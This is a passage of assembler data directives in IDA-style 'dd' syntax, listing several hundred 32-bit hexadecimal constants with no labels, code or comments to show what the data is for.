dd 22C29ACh, 0FF72D53Bh, 0FA655CE1h, 90C1F522h, 8C06B8h
dd 38E3E9AFh, 0ACB97535h, 0C84AFB32h, 0FD58C053h, 6FE8E56Ah
dd 858A09AEh, 4C98B9DFh, 0A40046B7h, 55A24BCBh, 8158Ch
dd 0E13AE878h, 507F86DCh, 13DAE600h, 6CAB59CAh, 0B911E69Ah
dd 8E410F68h, 0A1EEF461h, 6036C463h, 67DC805h, 8CB42C89h
dd 99D50035h, 65F80343h, 0A40BF4AAh, 7898CB9h, 140A67Ch
dd 0FB5FF60h, 62BF283Ch, 0DF412280h, 0D0916483h, 14C0689Dh
dd 0BD6DEA33h, 0ECD10094h, 34D23961h, 7C91C226h, 0B66987BCh
dd 49D0D4A0h, 2483C49Ah, 0F3472BAh, 0E8602754h, 0ED8F2C69h
dd 0BABE348h, 0E9C7EC90h, 2B612834h, 51E278D9h, 7C5E00FCh
dd 1C735518h, 0C03BE003h, 0F8B77206h, 0B254712h, 0D1BFA970h
dd 5FFAB418h, 5A7C2C1Fh, 0ED863201h, 0C1EDA896h, 69F5260h
dd 70ECAA1Eh, 0E02431ACh, 0EF809043h, 939EC32Fh, 7857385Ah
dd 0B1DBC49Dh, 0F0886AB8h, 6D265149h, 0D4009C56h, 0D8F3E3EEh
dd 0D52500BBh, 0B9BA197Dh, 0E84AB68Eh, 15EBF020h, 88534ACBh
dd 2C308D3Ch, 341C81F0h, 0E41F3E5Eh, 2DE74F00h, 0FED8EB1Dh
dd 7E6FD627h, 0F63B0074h, 88A16D89h, 0BFDA9A05h, 4489C5ECh
dd 0E42AB000h, 56E8F4h, 930E149Dh, 26EE9508h, 0C0C16575h
dd 58391618h, 0CC8CF4FFh, 0E69F0001h, 0B8A5349h, 2E1A0E39h
dd 41E07F8Fh, 9C10F7C0h, 11006DBFh, 3962EB79h, 0BB50287h
dd 0DBC06AF2h, 0C4878BF5h, 0BB2C0068h, 73B3125Ah, 4E01EC04h
dd 9108BF19h, 0C77A519Ah
dd 6D90D226h, 9507E064h, 1AF59458h, 0F0DBECA0h, 1420FFC7h
dd 0CAA006B7h, 10887C38h, 62424004h, 1C8CDAF5h, 6732056Dh
dd 80AF13EFh, 57BD1568h, 60805098h, 0B8A8F32Bh, 0DD074B0Fh
dd 0FCE15E8Eh, 0DC8D7233h, 5BC2BCC0h, 8CA2009Ch, 53700BC4h
dd 2D03C5F0h, 0E8F5668Fh, 0E0712D18h, 92018A1h, 464BF01Dh
dd 49001973h, 0EABCA6EFh, 668672h, 0DCA6A5Bh, 0FD896967h
dd 0C0F4C44Ch, 0DE65D58Bh, 0B3AB0051h, 582B8892h, 0C4B8F1F7h
dd 7D0044FAh, 0B161AE7Eh, 2523E479h, 0B8B01513h, 0E900AEFDh
dd 0A01A8233h, 964ECA1Eh, 0FC0A40B4h, 297B6FC5h, 0AE805496h
dd 3449948Bh, 4A9EEAEBh, 0B49C98F8h, 2A02EC02h, 40CDDD5Eh
dd 1946C99Dh, 79446947h, 8432E5h, 0BAD96E43h, 14B0C4C7h
dd 703B1F5Dh, 0C898C99Eh, 4CFCA8E0h, 8A587B39h, 0A028295Bh
dd 691134A4h, 68BA3100h, 0FB37B19h, 0E905E0EEh, 25D26FBDh
dd 8CD0C8h, 33F44407h, 7889809Bh, 73EC907Ah, 1173C375h
dd 2C603A00h, 0FD80724Dh, 0E5512F0Fh, 0B27670A0h, 4B00FB3Eh
dd 0FD878881h, 0EB11B417h, 39D82180h, 8EBA2601h, 0E1BE2200h
dd 1D2F2515h, 34F000Fh, 0DB80D587h, 98F3C63Dh, 44C9CC40h
dd 0E3902FC0h, 14EFBCA0h, 6A0039D6h, 0CF4F8795h, 0C40D4Ch
dd 15B1303Ch, 1F2E7811h, 8DE34717h, 1088E095h, 961801EBh
dd 7517BC39h, 9FE7F81Ch, 7FAE9116h, 0B68C4C02h, 0C3064CAh
dd 0F46C8872h, 67006289h, 5139CB04h, 68F307h, 0DEE017AEh
dd 0C29E7ABCh, 80E8115Ch, 45B4B255h, 515400A9h, 0C383E0B6h
dd 8F7B213Bh, 64B59F09h, 0F44C0033h, 99B48C41h, 86F7801Ch
dd 18A94A81h, 4D53D402h, 0E80CB0B1h, 0B62C5590h, 0FA9A8754h
dd 4C0CE81h, 0D55F7DDCh, 8CC0024Bh, 190C55Eh, 9CB2FC2Bh
dd 806866B6h, 0B0E4FB18h, 782C6716h, 2891548Eh, 0C3EA03ACh
dd 53303412h, 2B118A8h, 11416C9Ch, 7AC83192h, 4ECC08D4h
dd 0B930F3FEh, 3B1E64h, 5B68E369h, 0F27FBB3Ch, 7DE4C452h
dd 3B8D4000h, 65DA9253h, 0A22B01B5h, 887D8BCFh, 87263h
dd 0BF085E76h, 7AF21650h, 9008B0ABh, 0D7631714h, 0C088D06Ch
dd 2608E989h, 80ABE556h, 39A592E2h, 0ACB07CF5h, 8028E34Ch
dd 0C284914Bh, 8F8B0040h, 0E0B5A378h, 803EE5A9h, 0A763277Ah
dd 107067A4h, 923ED21h, 0E54EEB1Ch, 7B015852h, 0E19AE8D6h
dd 32D40583h, 0C6EF3E85h, 1880D5ADh, 37363F9h, 24F6892Ch
dd 0FAFF1660h, 47851284h, 72F82076h, 0C4BE02D8h, 98819CC0h
dd 0E3460097h, 0C234F34Ch, 50012D58h, 0CBE2D23Ch, 41805A2Ah
dd 84B70BCCh, 6A1416DBh, 24E5F1h, 0F9A5623Dh, 0E0E83ECBh
dd 9A2C04EFh, 0C25CC258h, 2820B7B8h, 24B21888h, 16302C05h
dd 0DECCC29h, 0B6171905h, 4088E489h, 1BF7007Ch, 14FFA977h
dd 0ED00D7BAh, 9D358D5Eh, 55B3C30h, 0B94FA2CAh, 1260A675h
dd 0B004C09Bh, 0C34052E8h, 1EBA05B3h, 0B5C49701h, 1CB94A0Eh
dd 8E980EBh, 4131393h, 0D6B80B43h, 87A8341Bh, 210531E2h
dd 11BA89A3h, 0F400CF4h, 0F642D6E0h, 46B9DD00h, 4700235Eh
dd 495F20E4h, 0B8264B70h, 0AEEB00E8h, 0C36F6DDFh, 6530FDD7h
dd 0A2129962h, 8C5B4A8Eh, 6898F278h, 64DA8925h, 0E8C2FCFCh
dd 12E602B6h, 0EBB52A65h, 2F005466h, 0AA842670h, 0A11CBBh
dd 99B09837h, 0FED9C5Ah, 29E31525h, 9785804h, 3FFDEA95h
dd 6C88FCE4h, 0B500460Eh, 5A30A62Ch, 9C8F93h, 0D28B8E4Fh
dd 0A2A30D65h, 12751E16h, 3B9B6500h, 518E464h, 0BC25E806h
dd 97B00688h, 0CD488A6Bh, 9C752E44h, 4CA255C4h, 8E042A00h
dd 6978308h, 517D6D1Eh, 7E8ABA80h, 0FB98C86h, 0FC36A566h
dd 2E2CC032h, 93769022h, 8BF7130h, 2C1C0326h, 1F5FC28h
dd 30BE95C2h, 9D32D421h, 26B7C00h, 76D139D2h, 609EE283h
dd 7F10398Dh, 6A07A737h, 50497CA2h, 60CCB937h, 156107A9h
dd 0A30701AEh, 191867F1h, 0EE814971h, 0A2890060h, 9A423BEDh
dd 80350F4h, 0BA92A31Fh, 1400AD71h, 3BD49D06h, 0CDF7834h
dd 0CE7CEF30h, 2D005B51h, 80F3E25Fh, 6560684h, 0B9A826Bh
dd 78034118h, 703B1B25h, 0CEB900C4h, 0A249B508h, 0C0004E05h
dd 37FC2E38h, 4D88D0h, 157F331Ch, 7BFFC8D4h, 0FDF0C34Eh
dd 1951CF36h, 4803AE60h, 98003069h, 0C947D317h, 9ECA0Fh
dd 144C5540h, 6B1B388Ch, 786E940Ch, 1F9078E4h, 73894479h
dd 0D7E811B6h, 0EC009B40h, 648A7416h, 1E67750h, 788BF308h
dd 0A1B567B9h, 13A688E9h, 18DE0600h, 182EE730h, 61C6787Ah
dd 3C00D257h, 0D0E2DD4Dh, 0A08542h, 224AF3Eh, 7FF3EB60h
dd 1DBA4518h, 0C8A09331h, 0B82FA0h, 9F027111h, 0FE8B9AEh
dd 0F6B2CE42h, 0A38FCE0h, 7C08EBC7h, 3A8A1BD0h, 343ED322h
dd 6C13807Eh, 0A7EE3643h, 0CACF0079h, 6A372CF0h, 0D2E04B83h
dd 36D94F05h, 0A8236D5Ch, 2BE4D078h, 41B90026h, 9DBC3ACEh
dd 6801B59Eh, 4B2387A5h, 6983BA7Ch, 0CD3485E6h, 490F3DC8h
dd 0F126D3Dh, 1306A7D0h, 0A5A5A0h, 3E8739DAh, 0EF732145h
dd 9F836E12h, 0CAA55C30h, 11BE6071h, 0A2D4469Dh, 40E6D103h
dd 0D0FC7B6Dh, 3EECB9CBh, 0FB82F71Eh, 9A770A4Fh, 809894A4h
dd 6CF09D0Ah, 80894939h, 8CEB0C81h, 5CC655ABh, 5806D79Eh
dd 0E9A7660Bh, 0FADF2604h, 0BC88CA83h, 51E76077h, 6BE99FACh
dd 0FF717200h, 0D439A28h, 2B140159h, 0BA50DD5Eh, 181C407Eh
dd 0C2E2AB36h, 0F5C958h, 66BC3F5Ah, 92132BBh, 0A423BD78h
dd 0D46A7C00h, 6913C7A6h, 1E00DE41h, 0C3BB2BFBh, 356007D9h
dd 8C7EBF81h, 28009759h, 0B1D0B783h, 0ECB4506h, 96E52302h
dd 929B0C7Fh, 0F252B929h, 7C200FCh, 0F1D4EE35h, 0F53703C6h
dd 6451EF59h, 0A8CB2100h, 0C46A9438h, 0F95800F1h, 610DB3EDh
dd 34000AE3h, 14BAAC93h, 0CE8CDDh, 16DF39F4h, 778E5166h
dd 60907254h, 0F9B8403h, 22690CA1h, 21FCE60h, 0B400179Dh
dd 0E9AD6395h, 13B91853h, 1E6C216Ah, 3056C0A9h, 0FE03B0B9h
dd 0D118DC43h, 2C77C8A5h, 0ECC5C48h, 93B58A00h, 0B7033B73h
dd 4336F001h, 0E2B90153h, 1EFC9EE8h, 823CF324h, 77B0449Ch
dd 0E8779C44h, 0A3897607h, 0C901E1FFh, 0EDE8655Eh, 1381FC7Bh
dd 0CD83C54h, 1D99D193h, 0B1175E00h, 61EF0DEDh, 0E0400BBh
dd 10F207CEh, 8400E77Eh, 58EEB735h, 12F1ABAFh, 7A3E128h
dd 0C1F469A4h, 0D2C0F83Dh, 91CA9C80h, 250126C1h, 0D395A85Ch
dd 0F3F40E82h, 6A530183h, 2A6EE24h, 69F03F63h, 93860614h
dd 91BD1EB9h, 0A08DD41Eh, 0F2598903h, 0DBC4A769h, 0C0DEFCC1h
dd 459E66E0h, 0EAB23094h, 15C7F000h, 0CF7FD2A5h, 0E11B0E9Bh
dd 0B8952B0Ah, 0E751D700h, 0BD629269h, 6504E5F0h, 77766F31h
dd 17F158C9h, 399FEAF0h, 0B78078F1h, 0B6B0BA24h, 0C8016460h
dd 0EA8D2E1Bh, 78C42914h, 0BF39C09Ch, 15C3F030h, 6FC6110Eh
dd 643032D4h, 72DE78DCh, 1FD7B36h, 0A3AD9545h, 225138BCh
dd 0E9BF505Ch, 0FB90917Ch, 3E9EAA00h, 28D6C944h, 69806F11h
dd 0E209930Eh, 0F1605C8Eh, 30322B69h, 0A099D3B0h, 1C81DB9Dh
dd 8CAC5A81h, 77DCA0DFh, 8600010h, 0C918C0A7h, 0D124CEEEh
dd 69027474h, 0A024399Ah, 0CCCBF094h, 0A8F20334h, 0B97F277Ah
dd 79695907h, 0F8A0CD39h, 0E5572Eh, 453F24EDh, 36F22068h
dd 9567440Ah, 6940CC93h, 481A7F8Dh, 9F261424h, 10D239BCh
dd 5ECF4202h, 84A0CC7Ch
dd 2468AA32h, 1AD30F03h, 0C0E395C8h, 2228F05Fh, 7C309410h
dd 0C4F231CFh, 9A8E00E7h, 0BCF4BB33h, 0B663171Bh, 0C2841E29h
dd 6608800Fh, 0C098716Dh, 0A358A481h, 8137C52h, 803097FCh
dd 762C3732h, 63EF002Dh, 0F5E9B347h, 98917D5Fh, 4DDA8500h
dd 11920BAh, 9C49998Ch, 20AA215Dh, 5218E044h, 8869B67Fh
dd 1E4FF8FBh, 0DC7462h, 674D0753h, 320F7F0Fh, 3A23819h
dd 26E3778Ah, 7A0F781h, 0A003D9FEh, 587468CBh, 13457305h
dd 8031BF99h, 28600AE4h, 0B6D2015Eh, 2FB276F3h, 0B97C30A6h
dd 7AB43622h, 60D107A1h, 80CD799Ch, 0CA63D747h, 97A93907h
dd 5150DD30h, 0B18D6617h, 0B3A3864Ch, 0D3444864h, 0C91B01C1h
dd 0EF8BF043h, 0F48160E7h, 3C3C697Fh, 1248770Ch, 0EF108124h
dd 1C34F9B8h, 9002773Ch, 20BD448Ch, 50C83D00h, 0FACB4721h
dd 1DC000D6h, 0B0497808h, 0D300C15Eh, 0BB50BE8Ch, 279FF8h
dd 6091143Ch, 5E1F15FCh, 9D71A51Fh, 49DFA300h, 0E2B2FDA7h
dd 834D0350h, 0F41ACCF0h, 79663800h, 0C8918E10h, 90010076h
dd 0D57BFD77h, 58C4A6ADh, 4C8172F4h, 29C0752Ah, 0A866005Ah
dd 0F9A34B44h, 7330C3CCh, 0CD9F2825h, 1AA718D1h, 0AB231126h
dd 56C63211h, 0F997E200h, 7B13DBD4h, 2B980600h, 4D2EAF5Dh
dd 0FBE456h, 35546A60h, 941F0297h, 3C3B5138h, 0B7D3802Bh
dd 216AFE3Eh, 7848788Eh, 2E42392Fh, 8F66EE00h, 0F3A43F31h
dd 0D8C57330h, 30BDAB64h, 0ECC991ACh, 8258A5DAh, 0E44300FCh
dd 0A7581B0Dh, 0CC1906A8h, 0A957C9B5h, 7BB19201h, 0D90B597Eh
dd 0E1F8E4h, 1756B930h, 0D0A68896h, 7C92DA3Ch, 0F41FFF26h
dd 1C0D2200h, 2E4B655Fh, 18F1D162h, 802E5129h, 0F6178228h
dd 55C71418h, 762419h, 1A22EB7Eh, 4D32CD37h, 6423DA01h
dd 728C6D92h, 1F2EE8h, 0BE9AB105h, 771DA33Ah, 48C8BD73h
dd 0C67F8353h, 7D80B00Fh, 4A0FD837h, 4A91B756h, 6980F448h
dd 58A13082h, 39B03DB8h, 0FCE67F80h, 86D783C9h, 60797D1Fh
dd 0E11DB580h, 90C8A8B4h, 85FE101Ch, 4BD20520h, 0FD1F455Eh
dd 511D4101h, 619C2F10h, 9CE0762h, 0E035C7BBh, 8D7C9CC5h
dd 0C15B3800h, 5026FCA6h, 3019ECACh, 5DB94DC7h, 0A00137D2h
dd 1720AD34h, 2020F2DCh, 78018B24h, 0C689B969h, 0BBC08ADEh
dd 0FC700C7Eh, 0E6A03595h, 0FA6101Dh, 0CE2E89F0h, 62EF1CBDh
dd 0F000FC88h, 0AFC69812h, 0CC05DDBFh, 371FE59Dh, 0DEC4D080h
dd 29C3245Ch, 0AC5B6058h, 98027F0h, 0D9660021h, 0C5F51ADBh
dd 950148D3h, 2B3080A7h, 1822C7FCh, 0F3BD2Eh, 0BC9A8D75h
dd 0DD00D9F1h, 0CF5497BEh, 0E6A71B43h, 87E30065h, 37EFD263h
dd 0E00EE134h, 0C28BB489h, 480FD436h, 45E91E4h, 580882FEh
dd 80648506h, 1F16707Eh, 3456F09h, 0C7DC20B8h, 0CC31462h
dd 0A7FE99F2h, 8D006041h, 63588A70h, 7DFC50h, 3EAF2D98h
dd 0A6D317D9h, 640829C0h, 0A5F765h, 0D7729AE6h, 4925517Dh
dd 419B6F04h, 8DC09F08h, 0E3352DCh, 0E1851438h, 86374E80h
dd 0B53B3D64h, 0EAC31C5Ch, 84004C24h, 0A2DBBBE4h, 27DE40CDh
dd 0AD263515h, 1E493EA8h, 378733A1h, 0A361BB65h, 68E1195Ch
dd 145B4020h, 0ECEA3645h, 1338F500h, 0F3AC8E80h, 0CE4D41C0h
dd 4AB230h, 87B6849Ah, 6A0C8CC0h, 1002A4Ch, 92A4CCB0h
dd 14ECCE5Eh, 0D9A600B7h, 1AA3C4A0h, 0CD0C4819h, 519A6BA4h
dd 58E100FDh, 97530F0h, 0C4098403h, 73892B1h, 0F6F0E33Ch
dd 26B47483h, 307D87h, 0BE14A376h, 0E1C34A0Fh, 882540C1h
dd 3D5E0761h, 910C87ECh, 0C5213BA7h, 86989E0Dh, 840CCA48h
dd 21A200D9h, 0BFEA7A44h, 0A8555D50h, 9A404CCCh, 219B9D03h
dd 0D8661563h, 2E7D23Eh, 7ECF7E1h, 8C40BE18h, 65EC81CDh
dd 0C4037B00h, 0EBF1950h, 8281C04Ch, 6E94A368h, 14FAA000h
dd 4759273h, 8F58B5C1h, 0C99DCA12h, 7E05C820h, 5A40006Ah
dd 48B07F45h, 0F213A804h, 4401ADFEh, 0B7DA8A0Eh, 0CBA4D2E0h
dd 6D8174B1h, 0EC1F9E8Dh, 0EF004249h, 0F0AB574Fh, 535032h
dd 2E2064C1h, 68BC3835h, 0FCCF6B00h, 0C72F771Ah, 641F261Dh
dd 9827009Dh, 0C5CE9C7Dh, 0F05C11B8h, 0A2DE06CCh, 77D130AFh
dd 225C0596h, 5D223FAh, 0C8CAD4h, 52786660h, 0A21ED836h
dd 7C58AD94h, 58EB98B8h, 2960A9EFh, 0EAC1B302h, 0F4C394Ch
dd 0A0A80554h, 3AC21E0Fh, 64890AB7h, 7B09F5Fh, 36E501D3h
dd 1900F1A5h, 8FD09D05h, 0E467990h, 1715AC24h, 0C14480C2h
dd 0AE09F0A1h, 0BEE450B4h, 5000B7DDh, 0FF1219B6h, 3436BDh
dd 658B5F8Fh, 800F4186h, 0ACBFE1C0h, 495DB9h, 0F18B7DA9h
dd 427F2D30h, 0AD3B9300h, 87A0A228h, 3DC975B4h, 8E30F578h
dd 53B5FD69h, 714AB01h, 9996C6C5h, 5091BC8h, 649DA8F6h
dd 8B00988h, 9E43CC02h, 9A1E027h, 60D6EDF7h, 131ABB2Ch
dd 20C8EAACh, 0B0274E70h, 7CE0043Ah, 1A009170h, 47BA3455h
dd 7BBCF31Dh, 0B828A048h, 0D133600Eh, 0A44C542Fh, 0F35E1404h
dd 0C08C94DCh, 0D8621393h, 0A9A0AFEh, 0A1F76098h, 8B009224h
dd 73D79F43h, 75D1FBh, 0D4DD333Fh, 0E40A6A2h, 4CBB2A1Fh
dd 0EB04B8A8h, 0D381D9FDh, 694C88h, 93AC2D09h, 0A11CA57Ah
dd 0D003FF00h, 0B0F8123Fh, 43911077h, 0C13603E5h, 172FC8DCh
dd 5C6F1h, 9201E211h, 709A16Eh, 900F3014h, 24236Ch, 7B5C7F54h
dd 5795B877h, 0B7766209h, 0A03418A7h, 79EC1C12h, 0BCBF802Bh
dd 537ECC2Eh, 0AF294700h, 0EAB87DD9h, 0C5340038h, 9CBB3F79h
dd 94C044Dh, 97AA8030h, 0E2AFDA75h, 893C007Ch, 0AE14D9D7h
dd 5019E502h, 0C3F112B4h, 79812ACDh, 412B173Eh, 6BAC3081h
dd 68F2460Ah, 0C881B0A8h, 7E654991h, 788548F1h, 6777DACh
dd 51F9D3C4h, 8521120Bh, 0A8490441h, 610718A3h, 0C302A1CBh
dd 191858A4h, 0D839ABD4h, 0D0300011h, 6A102B9Bh, 4507C8D6h
dd 0F5E8972Ch, 0A8EB2131h, 88A18830h, 630189C1h, 0CA7204Bh
dd 8C61DC16h, 61F0D9C5h, 0E287876h, 50D4FD65h, 90806987h
dd 0A6154F83h, 0D69059F6h, 0C0F4345Ch, 2FE0A446h, 0E3FC0026h
dd 0A4BC5F2h, 771F6D7Dh, 1D07DBDEh, 74A19FC1h, 0ABEC3779h
dd 8060CE4h, 0B3D14B0Fh, 36856200h, 6A2E5C49h, 5A2F004Eh
dd 0BA1FD4DFh, 0B133379Fh, 987D719Ch, 246B0Ch, 0D11F1130h
dd 0E3A2FDE2h, 3AB05301h, 0FBE6720Bh, 8E5DFCh, 0C41F13B8h
dd 4E87C1E4h, 6D776805h, 5082146Ch, 698860A1h, 0E0FC02A5h
dd 0C699B186h, 0E8007064h, 7D42E3D0h, 0A61EA5Fh, 0BC928066h
dd 641798h, 983AE8CCh, 0FA419950h, 0C0EA0C42h, 315B8FB0h
dd 11166616h, 0DBF420AEh, 0E8FF4D0Eh, 781CA1A6h, 882172CFh
dd 51D390C3h, 0D2CE093Fh, 2400AF6Ch, 0C3405941h, 19F1F44h
dd 0D681B117h, 41F9FE87h, 0D403A338h, 1518C19Bh, 48C8DCAEh
dd 399D607Ah, 0CD24049h, 19A8A21Eh, 0B5B10720h, 0A50A9934h
dd 35C8CC11h, 0CA88757Bh, 0D0A40Eh, 0B6901F8Eh, 0ADD22067h
dd 0A431F500h, 1DABD554h, 0FF53000Ch, 8581051Fh, 10B850C5h
dd 0CA515612h, 0CC098D4h, 4674137h, 0C31878F0h, 60A0882Dh
dd 3F00117Ah, 7C7EC6B4h, 5049345Eh, 4EDD0B9h, 0FC6687DDh
dd 0AC5C80D8h, 65165275h, 1800BFC4h, 0BBB08E81h, 874124CEh
dd 1FAB1174h, 0DC4637C0h, 19025A8h, 34F1A758h, 0F210B128h
dd 260C7CE3h, 0E9460F5Ch, 282500C9h, 1E843F43h, 0D47DCB34h
dd 1CC4C248h
dd 0C38A3274h, 0A740C873h, 63C98C08h, 0D19B1154h, 75B46B0h
dd 0B9A1A507h, 0F667D684h, 567A3930h, 0B6870267h, 0E5DC8B80h
dd 0C6662440h, 0AE802C96h, 0C0DF7AE7h, 0FFC30064h, 65CFB36h
dd 1352CA50h, 13506A4h, 110ED3h, 194D4E04h, 368C6978h
dd 4B32643Fh, 529E1447h, 745C2EB1h, 4B8D5F4h, 0BFABBECAh
dd 1338E4B1h, 3D4FA400h, 0A737C657h, 803090B7h, 21F730h
dd 19CB46BEh, 3CCB662h, 0FDB35218h, 0A411C321h, 63860188h
dd 2FA08C28h, 30C448B1h, 1316FF01h, 11FE6E9Ah, 7D243980h
dd 0C6263A60h, 2E7CF53Bh, 5D06DA98h, 5151D2h, 0D70B8353h
dd 0AE0C282Ah, 0CAB9E102h, 66298CD9h, 0B8C90008h, 0C2C04F31h
dd 86007430h, 7EBC1DCCh, 171B10h, 790C63A1h, 1FC9245Bh
dd 0C4BCAC50h, 575D4900h, 56901E8Ah, 7017B3Ah, 664BD37Dh
dd 9C12AB48h, 0B087C50h, 80340E1Bh, 875A38F7h, 0B23DA45Eh
dd 8D6B18BDh, 630431h, 45778CBFh, 1C8B7BFDh, 8036E138h
dd 0E03E5DDCh, 221556Ch, 1846B1Fh, 48E40EB7h, 5D0D401Fh
dd 0BA2E7FC0h, 1F5482h, 9745060Bh, 0A9F090E5h, 0C8AC5F0Eh
dd 3133A0D8h, 6DD0FBh, 95061EA3h, 866F61D3h, 3073C01Ch
dd 0A940315Dh, 0E10134B3h, 0E7EF004Bh, 0D15A2389h, 2D001E5Bh
dd 0CD7429FAh, 0C060D288h, 341AB131h, 0CC0067A1h, 0CFC2B35Ah
dd 3362D5h, 18139880h, 3AD18FCAh, 5C6C88h, 22974AF6h, 5B27AFF4h
dd 37D66D00h, 0D8ACB6B9h, 3328C7D2h, 0B8ABD62Ah, 5C1FDCF0h
dd 60BA9142h, 27CB3649h, 8D7112h, 2181354Ch, 39057293h
dd 63DC3F18h, 1C57629h, 7EA0B056h, 0F0AB6D67h, 693DAFF6h
dd 810D8061h, 26A96817h, 6C765474h, 6F9A0143h, 0F60FD1BAh
dd 0BC07F4CCh, 0F1119C00h, 0EBD4DE9Eh, 0EB0C8ACh, 0CB145781h
dd 1180281Ah, 38669E68h, 0D201B694h, 9BE0A5DEh, 3B03EB84h
dd 0FEC86900h, 0B45EDD4Eh, 8F7402B2h, 0B3552154h, 5CA10EC0h
dd 0E0C3532Ah, 678AFA03h, 0E1E3CF8Eh, 1996DFBDh, 51AA00E2h
dd 0F9796E45h, 4AB5CD03h, 0B8F12172h, 2BD5B50h, 0DA7EBB95h
dd 1C80C9D1h, 0E45C2C06h, 6CBA4700h, 93CC29DBh, 11FFC56h
dd 86E24A0Eh, 80C6C9FCh, 93C09731h, 580CA6h, 7B9ABB96h
dd 0E2E0A35Eh, 829F4B03h, 0C0B6250Bh, 603A229h, 0C8BC3037h
dd 2004194h, 7556D448h, 75D9FE5h, 7292C9CEh, 8F632345h
dd 90B4E7CFh, 9A6D5557h, 0B6A6110Ah, 5181A826h, 0AA5CC9E0h
dd 52E56040h, 0E6FD00D9h, 8F11858Ah, 0ACA85836h, 39C03B1Ah
dd 0F4146428h, 82EB3DE5h, 0AE2876C8h, 0E9892C88h, 615B076Fh
dd 5EA35FECh, 3906A75Dh, 35D2AC31h, 434F0051h, 0EE8096D4h
dd 4C92B078h, 28D92E00h, 38087015h, 2F3A03C5h, 5FD09EA6h
dd 23973900h, 21BD7596h, 0E38C001Dh, 5CE51630h, 0ECA4C4BCh
dd 48732905h, 1C00D1E0h, 6B4DD741h, 862A008Eh, 2836CB04h
dd 246E1C70h, 2580BCA1h, 52E00222h, 0FF632869h, 0E1EB3988h
dd 0B9FEEA00h, 90A995EDh, 5961D130h, 88B321h, 6D5450CAh
dd 9C82605h, 0A1EC7401h, 817FAD08h, 0F998908Eh, 92B2EF80h
dd 0BC30A24Dh, 0BAA5186Ah, 4B5302AEh, 930C9DEh, 1294D441h
dd 0BC44D2h, 90ADE0FDh, 0D384C1B4h, 0D407EA00h, 0AF3CC411h
dd 771A30A7h, 0FCB2B0C9h, 79B49207h, 73039413h, 23F7F04Eh
dd 0F03B0E41h, 55E8FA0h, 0D943B9h, 0A9C16292h, 3460D2A7h
dd 6E853371h, 65A40035h, 0C6B353EAh, 0B4A1BB74h, 1B8F10A2h
dd 5831DD2Ah, 77F8395Eh, 82552501h, 0C2471DE0h, 1CBE8h
dd 9D457B4Ah, 8DC75DBBh, 5C001890h, 0AC766693h, 6F7D396Ch
dd 407EF997h, 0BE6012E3h, 67001BF1h, 6962F0CFh, 796D084h
dd 8DE254D5h, 5E3980ACh, 0DD14D9D2h, 0E60CA73h, 0A21C5623h
dd 80CE0754h, 0D0400DE4h, 0DDC8305Ah, 0E97BDCC1h, 4737B000h
dd 0DFFE06BBh, 11798D0h, 0D94AC480h, 22C88E01h, 0A5180F90h
dd 9C8E1E98h, 0F584E057h, 60443D70h, 0D953B9B6h, 0D230C4E5h
dd 8F208936h, 76400B7h, 43E34556h, 3F30FA1Fh, 133C7842h
dd 82190350h, 0B5493DC4h, 9CA4907h, 9A17C8CFh, 0F817036h
dd 0E8476FB1h, 0E024FAE3h, 38573C80h, 641FFB00h, 66E36BCDh
dd 99783067h, 0E12BDE49h, 8016F900h, 0B205FAABh, 213C00EDh
dd 0E9DB1EB1h, 6E00729Ch, 0CEA3F3CDh, 14183829h, 94EAC935h
dd 0A00164C7h, 22AD9630h, 85B44C3Fh, 0D1972D90h, 3C1B7403h
dd 0C91AB87Fh, 939C1C5h, 20068E2Dh, 0CF73F1A0h, 304358h
dd 88D781E0h, 892F27Fh, 58D0FCFFh, 5369BF80h, 16572033h
dd 0C3E760B1h, 75C846AAh, 9E148D15h, 5B4C9FFh, 0A95C7A51h
dd 0BA5BD020h, 4440491Ah, 935DE100h, 0D9C341Bh, 6D2CB700h
dd 844DA94h, 8109001Eh, 72AB3740h, 9618229Fh, 8498CC8h
dd 117E68h, 9B26EA1h, 513FE8DCh, 865FF900h, 2CEBFA7Fh
dd 0C8E22CB6h, 15CA80A4h, 34A2D71Fh, 0DE455017h, 0B324F905h
dd 24C1A284h, 6DF014F4h, 4D6E267h, 32A992A3h, 8C24C8D3h
dd 80E54F3Eh, 0D938C260h, 650DE8h, 5714B5F5h, 7D3DC14Eh
dd 66ECAF54h, 8672A30Eh, 9B9560ACh, 0E58F0Bh, 0B023EA37h
dd 0D322F2AFh, 1AE11B13h, 78BF820h, 5028035Ah, 42EA6776h
dd 5B46F6A8h, 979B6E17h, 215E6C30h, 132500AAh, 4D0CC986h
dd 5C08D9A0h, 0BB35248Fh, 0ABC52A9h, 0A884C5CBh, 6C384C80h
dd 0EC4D4001h, 0A963B3ACh, 7E876481h, 0FA33C31Ch, 46F5801Dh
dd 66F30001h, 0FD0A816Dh, 0BFEED8E2h, 0A22C7222h, 1C64C430h
dd 4164EE7Ch, 1A42F23Ch, 8C19802Ah, 3E038618h, 0F72B175Dh
dd 44B30B8Dh, 0EC6AD400h, 4C06BE5Ah, 0AC78BA57h, 79700059h
dd 0FBC6F4DBh, 391C7551h, 0F4E6FC1Bh, 30E3628Ah, 6B309280h
dd 0A72E56h, 436E4065h, 9846BA2Ch, 0F3C4AF4h, 2AEB9F90h
dd 0F802A911h, 7D8F5081h, 9BD9C99h, 0FB9C9400h, 0B2C8014Dh
dd 4FDDD4E5h, 3F18202Ch, 8839A600h, 0E191BF25h, 41CE00D8h
dd 1B5726Dh, 2A090ABEh, 90156867h, 0F417BCh, 57F3EF3h
dd 61B160F6h, 0FD6AC500h, 0FEAB2E02h, 1B892C5Dh, 11D54014h
dd 0A204EE4Dh, 979744Ah, 0B19304EBh, 6E8CC127h, 3D8CFC33h
dd 0D1A74530h, 115B93E3h, 7C61D2C8h, 46EEF8A0h, 0F676D700h
dd 21964F55h, 86AD0292h, 72A771D5h, 80101F62h, 0FA2C5742h
dd 0A240BCD9h, 2A89615Eh, 8CDBF3h, 0DCD8D623h, 0B0B2E914h
dd 93EF361Dh, 2F156400h, 0C0B17D50h, 57E7C991h, 320217EAh
dd 422DE9E5h, 74064C8h, 0F409D89h, 4985E34Dh, 3D7230E8h
dd 9290F24Ch, 46116030h, 0FC4C0039h, 4BCA57B0h, 0E25C8840h
dd 0A678006Ch, 0BD673DA7h, 8C32ED5Ch, 49A47D18h, 3C00CB7Ch
dd 0FDD8D15Dh, 0A13A2C73h, 0F872A478h, 48F48F05h, 99604F81h
dd 0D90B1BE3h, 0CA0868F8h, 8FB8131Bh, 0C417D96h, 59D2B995h
dd 54000A11h, 0B3B14E6Ah, 259DBCA4h, 8010C9C8h, 400E8835h
